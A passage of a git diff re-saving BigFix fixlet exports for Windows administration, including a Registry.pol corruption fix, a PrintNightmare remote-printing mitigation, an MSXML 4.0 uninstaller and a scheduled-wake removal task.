-<P>By default this fixlet will remain open, reapply when relevant,&nbsp;and prompt the user to restart 4 hours after the action has finished.</P>]]></Description>
-    <Relevance>exists native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot;</Relevance>
-    <Relevance>(byte 0 of it, byte 1 of it, byte 2 of it, byte 3 of it) of native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot; != (80, 82, 101, 103)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2025-02-25</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 25 Feb 2025 17:07:31 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
-
-if {exists native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot;}
-	move &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot; &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol.bak&quot;
-	delete &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol.bak&quot;
-endif
-
-waithidden gpupdate /force
-
-continue if {(not exists native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot;) or ((byte 0 of it, byte 1 of it, byte 2 of it, byte 3 of it) of native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot; = (80, 82, 101, 103))}</ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Registry.pol Corruption Fix
+  ID       : 27373
+  Author   : skyler
+  Domain   : BESC
+  Imported : 2025-02-25T09:10:45
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Registry.pol Corruption Fix</Title>
+    <Description><![CDATA[<P>Resolves an issue where computers do not retrieve Group Policy updates due to the following file&nbsp;being corrupted:<BR><STRONG>C:\Windows\System32\GroupPolicy\Machine\Registry.pol</STRONG><BR><BR>This fixlet&nbsp;deletes <STRONG>Registry.pol</STRONG> and then runs <STRONG>gpupdate /force</STRONG> to update Group Policy.</P>
+<P>By default this fixlet will remain open, reapply when relevant,&nbsp;and prompt the user to restart 4 hours after the action has finished.</P>]]></Description>
+    <Relevance>exists native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot;</Relevance>
+    <Relevance>(byte 0 of it, byte 1 of it, byte 2 of it, byte 3 of it) of native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot; != (80, 82, 101, 103)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2025-02-25</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 25 Feb 2025 17:07:31 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection {not x64 of operating system}
+
+if {exists native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot;}
+	move &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot; &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol.bak&quot;
+	delete &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol.bak&quot;
+endif
+
+waithidden gpupdate /force
+
+continue if {(not exists native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot;) or ((byte 0 of it, byte 1 of it, byte 2 of it, byte 3 of it) of native file &quot;C:\Windows\System32\GroupPolicy\Machine\Registry.pol&quot; = (80, 82, 101, 103))}</ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/RemotePrint Disable Mitigation for Printnightmare vulnerability (26862).bes b/Sites/Windows Management/Fixlets/Fixlets/RemotePrint Disable Mitigation for Printnightmare vulnerability (26862).bes
index ae63bda3f..8e309cbeb 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/RemotePrint Disable Mitigation for Printnightmare vulnerability (26862).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/RemotePrint Disable Mitigation for Printnightmare vulnerability (26862).bes	
@@ -1,66 +1,66 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : RemotePrint Disable Mitigation for Printnightmare vulnerability
-  ID       : 26862
-  Author   : brolly33
-  Domain   : BESC
-  Imported : 2021-07-08T13:34:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>RemotePrint Disable Mitigation for Printnightmare vulnerability</Title>
-    <Description><![CDATA[<P>Optionally configure the RegisterSpoolerRemoteRpcEndPoint registry value to&nbsp;disable remote printing<BR>Sets "[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers]" "RegisterSpoolerRemoteRpcEndPoint"=dword:00000002</P>]]></Description>
-    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>not exists (keys &quot;HKLM\Software\Policies\Microsoft\Windows NT\Printers&quot; of native registry) whose (exists (value &quot;RegisterSpoolerRemoteRpcEndPoint&quot; of it) whose (it as string = &quot;2&quot; as string))</Relevance>
-    <Relevance>exists service &quot;spooler&quot; whose (start type of it != &quot;disabled&quot;)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2021-07-08</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 08 Jul 2021 20:14:50 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//gracefully stop spooler
-if {exists running service "spooler"}
-wait sc.exe stop spooler
-
-//wait 60 seconds for the service to stop gracefully
-parameter "startTime"="{now}"
-pause while {exists running service "spooler" OR (now-time(parameter "startTime") < 60*second) }
-endif
-
-//if it is still running, terminate the spooler service forecefully
-if {exists running service "spooler"}
-wait taskkill /pid {pid of process "spoolsv.exe"} /f
-endif
-//Add the registry key
-if {x64 of operating system}
-regset64 "[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers]" "RegisterSpoolerRemoteRpcEndPoint"=dword:00000002
-else
-regset "[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers]" "RegisterSpoolerRemoteRpcEndPoint"=dword:00000002
-endif
-//start the spooler back up.
-wait sc.exe start spooler
-
-]]></ActionScript>
-    </DefaultAction>
-    <Action ID="Action28148">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to read more from Microsoft.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : RemotePrint Disable Mitigation for Printnightmare vulnerability
+  ID       : 26862
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2021-07-08T13:34:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>RemotePrint Disable Mitigation for Printnightmare vulnerability</Title>
+    <Description><![CDATA[<P>Optionally configure the RegisterSpoolerRemoteRpcEndPoint registry value to&nbsp;disable remote printing<BR>Sets "[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers]" "RegisterSpoolerRemoteRpcEndPoint"=dword:00000002</P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>not exists (keys &quot;HKLM\Software\Policies\Microsoft\Windows NT\Printers&quot; of native registry) whose (exists (value &quot;RegisterSpoolerRemoteRpcEndPoint&quot; of it) whose (it as string = &quot;2&quot; as string))</Relevance>
+    <Relevance>exists service &quot;spooler&quot; whose (start type of it != &quot;disabled&quot;)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2021-07-08</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 08 Jul 2021 20:14:50 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//gracefully stop spooler
+if {exists running service "spooler"}
+wait sc.exe stop spooler
+
+//wait 60 seconds for the service to stop gracefully
+parameter "startTime"="{now}"
+pause while {exists running service "spooler" OR (now-time(parameter "startTime") < 60*second) }
+endif
+
+//if it is still running, terminate the spooler service forecefully
+if {exists running service "spooler"}
+wait taskkill /pid {pid of process "spoolsv.exe"} /f
+endif
+//Add the registry key
+if {x64 of operating system}
+regset64 "[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers]" "RegisterSpoolerRemoteRpcEndPoint"=dword:00000002
+else
+regset "[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers]" "RegisterSpoolerRemoteRpcEndPoint"=dword:00000002
+endif
+//start the spooler back up.
+wait sc.exe start spooler
+
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action28148">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to read more from Microsoft.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Remove MSXML 4.0 SP2 and 3 and updates with msiexec (26634).bes b/Sites/Windows Management/Fixlets/Fixlets/Remove MSXML 4.0 SP2 and 3 and updates with msiexec (26634).bes
index ecc2adaeb..dc03a7967 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Remove MSXML 4.0 SP2 and 3 and updates with msiexec (26634).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Remove MSXML 4.0 SP2 and 3 and updates with msiexec (26634).bes	
@@ -1,108 +1,108 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Remove MSXML 4.0 SP2 and 3 and updates with msiexec
-  ID       : 26634
-  Author   : acybulski
-  Domain   : BESC
-  Imported : 2019-07-11T08:11:00
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Remove MSXML 4.0 SP2 and 3 and updates with msiexec</Title>
-    <Description>This fixlet fully scrubs a computer of MSXML Parser 4.0 which is past end of life. It does so by cycling through all of the possible MSIEXEC commands for the various versions of the Parser. </Description>
-    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance>exists (it as string as lowercase) whose (it starts with &quot;MSXML 4.0 SP3 Parser&quot; as lowercase) of values &quot;DisplayName&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x64 registries; x32 registries)</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2019-01-22</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 11 Jul 2019 15:07:01 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//REM Uninstalling MSXML 4.0 SP2 and updates
-//REM Uninstalling MSXML 4.0 SP2 Parser and SDK (Base Installer - msxml.msi)
-waithidden MsiExec.exe /uninstall {{716E0306-8318-4364-8B8F-0CC4E9376BAC} /quiet
-if {exit code of action = 0 or exit code of action = 3010}
-  parameter &quot;result1&quot;=&quot;success&quot;
-else
-  parameter &quot;result1&quot;=&quot;failure&quot;
-endif
-//REM Uninstalling KB925672 (MS06-061 - msxml4-KB925672-enu.exe)
-waithidden MsiExec.exe /uninstall {{A9CF9052-F4A0-475D-A00F-A8388C62DD63} /quiet
-if {exit code of action = 0 or exit code of action = 3010}
-  parameter &quot;result2&quot;=&quot;success&quot;
-else
-  parameter &quot;result2&quot;=&quot;failure&quot;
-endif
-//REM Uninstalling KB927978 (MS06-071 - msxml4-KB927978-enu.exe)
-waithidden MsiExec.exe /uninstall {{37477865-A3F1-4772-AD43-AAFC6BCFF99F} /quiet
-if {exit code of action = 0 or exit code of action = 3010}
-  parameter &quot;result3&quot;=&quot;success&quot;
-else
-  parameter &quot;result3&quot;=&quot;failure&quot;
-endif
-//REM Uninstalling KB936181 (MS07-042 - msxml4-KB936181-enu.exe)
-waithidden MsiExec.exe /uninstall {{C04E32E0-0416-434D-AFB9-6969D703A9EF} /quiet
-if {exit code of action = 0 or exit code of action = 3010}
-  parameter &quot;result4&quot;=&quot;success&quot;
-else
-  parameter &quot;result4&quot;=&quot;failure&quot;
-endif
-//REM Uninstalling KB954430 (MS08-069 - msxml4-KB954430-enu.exe)
-waithidden MsiExec.exe /uninstall {{86493ADD-824D-4B8E-BD72-8C5DCDC52A71} /quiet
-if {exit code of action = 0 or exit code of action = 3010}
-  parameter &quot;result5&quot;=&quot;success&quot;
-else
-  parameter &quot;result5&quot;=&quot;failure&quot;
-endif
-//REM Uninstalling KB973688 (Non Security Update - msxml4-KB973688-enu.exe)
-waithidden MsiExec.exe /uninstall {{F662A8E6-F4DC-41A2-901E-8C11F044BDEC} /quiet
-if {exit code of action = 0 or exit code of action = 3010}
-  parameter &quot;result6&quot;=&quot;success&quot;
-else
-  parameter &quot;result6&quot;=&quot;failure&quot;
-endif
-//REM Uninstalling MSXML 4.0 SP3 and updates
-//REM Uninstalling MSXML 4.0 SP3 Parser (Base Installer - msxml.msi)
-waithidden MsiExec.exe /uninstall {{196467F1-C11F-4F76-858B-5812ADC83B94} /quiet
-if {exit code of action = 0 or exit code of action = 3010}
-  parameter &quot;result7&quot;=&quot;success&quot;
-else
-  parameter &quot;result7&quot;=&quot;failure&quot;
-endif
-//REM Uninstalling KB973685 (Non Security Update - msxml4-KB973685-enu.exe)
-waithidden MsiExec.exe /uninstall {{859DFA95-E4A6-48CD-B88E-A3E483E89B44} /quiet
-if {exit code of action = 0 or exit code of action = 3010}
-  parameter &quot;result8&quot;=&quot;success&quot;
-else
-  parameter &quot;result8&quot;=&quot;failure&quot;
-endif
-//REM Uninstalling KB2721691 (MS12-043 - msxml4-KB2721691-enu.exe)
-Waithidden MsiExec.exe /uninstall {{355B5AC0-CEEE-42C5-AD4D-7F3CFD806C36} /quiet
-if {exit code of action = 0 or exit code of action = 3010}
-  parameter &quot;result9&quot;=&quot;success&quot;
-else
-  parameter &quot;result9&quot;=&quot;failure&quot;
-endif
-//REM Uninstalling KB2758694 (MS13-002 - msxml4-KB2758694-enu.exe)
-waithidden MsiExec.exe /uninstall {{1D95BA90-F4F8-47EC-A882-441C99D30C1E} /quiet
-if {exit code of action = 0 or exit code of action = 3010}
-  parameter &quot;result10&quot;=&quot;success&quot;
-else
-  parameter &quot;result10&quot;=&quot;failure&quot;
-endif
-continue if [Parameter &quot;result1&quot; of action = &quot;success&quot; or Parameter &quot;result2&quot; of action = &quot;success&quot; or Parameter &quot;result3&quot; of action = &quot;success&quot; or Parameter &quot;result4&quot; of action = &quot;success&quot; or Parameter &quot;result5&quot; of action = &quot;success&quot; or Parameter &quot;result6&quot; of action = &quot;success&quot; or Parameter &quot;result7&quot; of action = &quot;success&quot; or Parameter &quot;result8&quot; of action = &quot;success&quot; or Parameter &quot;result9&quot; of action = &quot;success&quot; or Parameter &quot;result10&quot; of action = &quot;success&quot;}</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Remove MSXML 4.0 SP2 and 3 and updates with msiexec
+  ID       : 26634
+  Author   : acybulski
+  Domain   : BESC
+  Imported : 2019-07-11T08:11:00
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Remove MSXML 4.0 SP2 and 3 and updates with msiexec</Title>
+    <Description>This fixlet fully scrubs a computer of MSXML Parser 4.0 which is past end of life. It does so by cycling through all of the possible MSIEXEC commands for the various versions of the Parser. </Description>
+    <Relevance><![CDATA[/* Windows XP or later */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance>exists (it as string as lowercase) whose (it starts with &quot;MSXML 4.0 SP3 Parser&quot; as lowercase) of values &quot;DisplayName&quot; of keys of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of (x64 registries; x32 registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-01-22</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 11 Jul 2019 15:07:01 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">//REM Uninstalling MSXML 4.0 SP2 and updates
+//REM Uninstalling MSXML 4.0 SP2 Parser and SDK (Base Installer - msxml.msi)
+waithidden MsiExec.exe /uninstall {{716E0306-8318-4364-8B8F-0CC4E9376BAC} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result1&quot;=&quot;success&quot;
+else
+  parameter &quot;result1&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB925672 (MS06-061 - msxml4-KB925672-enu.exe)
+waithidden MsiExec.exe /uninstall {{A9CF9052-F4A0-475D-A00F-A8388C62DD63} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result2&quot;=&quot;success&quot;
+else
+  parameter &quot;result2&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB927978 (MS06-071 - msxml4-KB927978-enu.exe)
+waithidden MsiExec.exe /uninstall {{37477865-A3F1-4772-AD43-AAFC6BCFF99F} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result3&quot;=&quot;success&quot;
+else
+  parameter &quot;result3&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB936181 (MS07-042 - msxml4-KB936181-enu.exe)
+waithidden MsiExec.exe /uninstall {{C04E32E0-0416-434D-AFB9-6969D703A9EF} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result4&quot;=&quot;success&quot;
+else
+  parameter &quot;result4&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB954430 (MS08-069 - msxml4-KB954430-enu.exe)
+waithidden MsiExec.exe /uninstall {{86493ADD-824D-4B8E-BD72-8C5DCDC52A71} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result5&quot;=&quot;success&quot;
+else
+  parameter &quot;result5&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB973688 (Non Security Update - msxml4-KB973688-enu.exe)
+waithidden MsiExec.exe /uninstall {{F662A8E6-F4DC-41A2-901E-8C11F044BDEC} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result6&quot;=&quot;success&quot;
+else
+  parameter &quot;result6&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling MSXML 4.0 SP3 and updates
+//REM Uninstalling MSXML 4.0 SP3 Parser (Base Installer - msxml.msi)
+waithidden MsiExec.exe /uninstall {{196467F1-C11F-4F76-858B-5812ADC83B94} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result7&quot;=&quot;success&quot;
+else
+  parameter &quot;result7&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB973685 (Non Security Update - msxml4-KB973685-enu.exe)
+waithidden MsiExec.exe /uninstall {{859DFA95-E4A6-48CD-B88E-A3E483E89B44} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result8&quot;=&quot;success&quot;
+else
+  parameter &quot;result8&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB2721691 (MS12-043 - msxml4-KB2721691-enu.exe)
+Waithidden MsiExec.exe /uninstall {{355B5AC0-CEEE-42C5-AD4D-7F3CFD806C36} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result9&quot;=&quot;success&quot;
+else
+  parameter &quot;result9&quot;=&quot;failure&quot;
+endif
+//REM Uninstalling KB2758694 (MS13-002 - msxml4-KB2758694-enu.exe)
+waithidden MsiExec.exe /uninstall {{1D95BA90-F4F8-47EC-A882-441C99D30C1E} /quiet
+if {exit code of action = 0 or exit code of action = 3010}
+  parameter &quot;result10&quot;=&quot;success&quot;
+else
+  parameter &quot;result10&quot;=&quot;failure&quot;
+endif
+continue if [Parameter &quot;result1&quot; of action = &quot;success&quot; or Parameter &quot;result2&quot; of action = &quot;success&quot; or Parameter &quot;result3&quot; of action = &quot;success&quot; or Parameter &quot;result4&quot; of action = &quot;success&quot; or Parameter &quot;result5&quot; of action = &quot;success&quot; or Parameter &quot;result6&quot; of action = &quot;success&quot; or Parameter &quot;result7&quot; of action = &quot;success&quot; or Parameter &quot;result8&quot; of action = &quot;success&quot; or Parameter &quot;result9&quot; of action = &quot;success&quot; or Parameter &quot;result10&quot; of action = &quot;success&quot;}</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Remove Scheduled Wake from Standby - those not created by wizard (2528).bes b/Sites/Windows Management/Fixlets/Fixlets/Remove Scheduled Wake from Standby - those not created by wizard (2528).bes
index 3ecadfb3c..134d6afc0 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Remove Scheduled Wake from Standby - those not created by wizard (2528).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Remove Scheduled Wake from Standby - those not created by wizard (2528).bes	
@@ -1,39 +1,39 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Remove Scheduled Wake from Standby - those not created by wizard
-  ID       : 2528
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2013-07-03T13:07:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Remove Scheduled Wake from Standby - those not created by wizard</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>(exists keys whose(name of it starts with &quot;Wakeup Schedule Weekly &quot; OR name of it starts with &quot;Wakeup Schedule Daily &quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\ScheduledWakeups&quot; of registry)</Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgs194</SourceID>
-    <SourceReleaseDate>2013-02-28</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Mon, 04 Mar 2013 17:37:45 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[parameter "numOfValuesToChange" = "{number of keys whose(name of it starts with "Wakeup Schedule Weekly " OR name of it starts with "Wakeup Schedule Daily ") of key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\ScheduledWakeups" of registry}"
-prefetch StandbyTool.exe sha1:0cc50ebd3864dba672b659faf4caec7472bc23fa size:1640448 http://software.bigfix.com/download/bes/util/BFStandbyTool-1.4.exe
-utility __Download\StandbyTool.exe
-waithidden __Download\StandbyTool.exe /D "{(preceding text of first "," of (it & ",") of concatenation "," of (names of keys whose(name of it starts with "Wakeup Schedule Weekly " OR name of it starts with "Wakeup Schedule Daily ") of key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\ScheduledWakeups" of registry) as string)}"]]></ActionScript>
-      <SuccessCriteria Option="CustomRelevance">(parameter &quot;numOfValuesToChange&quot; of action as integer) &gt; (number of keys whose(name of it starts with &quot;Wakeup Schedule Weekly &quot; OR name of it starts with &quot;Wakeup Schedule Daily &quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\ScheduledWakeups&quot; of registry)</SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Remove Scheduled Wake from Standby - those not created by wizard
+  ID       : 2528
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-07-03T13:07:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Remove Scheduled Wake from Standby - those not created by wizard</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>(exists keys whose(name of it starts with &quot;Wakeup Schedule Weekly &quot; OR name of it starts with &quot;Wakeup Schedule Daily &quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\ScheduledWakeups&quot; of registry)</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2013-02-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 04 Mar 2013 17:37:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[parameter "numOfValuesToChange" = "{number of keys whose(name of it starts with "Wakeup Schedule Weekly " OR name of it starts with "Wakeup Schedule Daily ") of key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\ScheduledWakeups" of registry}"
+prefetch StandbyTool.exe sha1:0cc50ebd3864dba672b659faf4caec7472bc23fa size:1640448 http://software.bigfix.com/download/bes/util/BFStandbyTool-1.4.exe
+utility __Download\StandbyTool.exe
+waithidden __Download\StandbyTool.exe /D "{(preceding text of first "," of (it & ",") of concatenation "," of (names of keys whose(name of it starts with "Wakeup Schedule Weekly " OR name of it starts with "Wakeup Schedule Daily ") of key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\ScheduledWakeups" of registry) as string)}"]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance">(parameter &quot;numOfValuesToChange&quot; of action as integer) &gt; (number of keys whose(name of it starts with &quot;Wakeup Schedule Weekly &quot; OR name of it starts with &quot;Wakeup Schedule Daily &quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\EnterpriseClient\ScheduledWakeups&quot; of registry)</SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Remove XPS Viewer (648).bes b/Sites/Windows Management/Fixlets/Fixlets/Remove XPS Viewer (648).bes
index b35e50d5b..097e752e5 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Remove XPS Viewer (648).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Remove XPS Viewer (648).bes	
@@ -1,93 +1,93 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
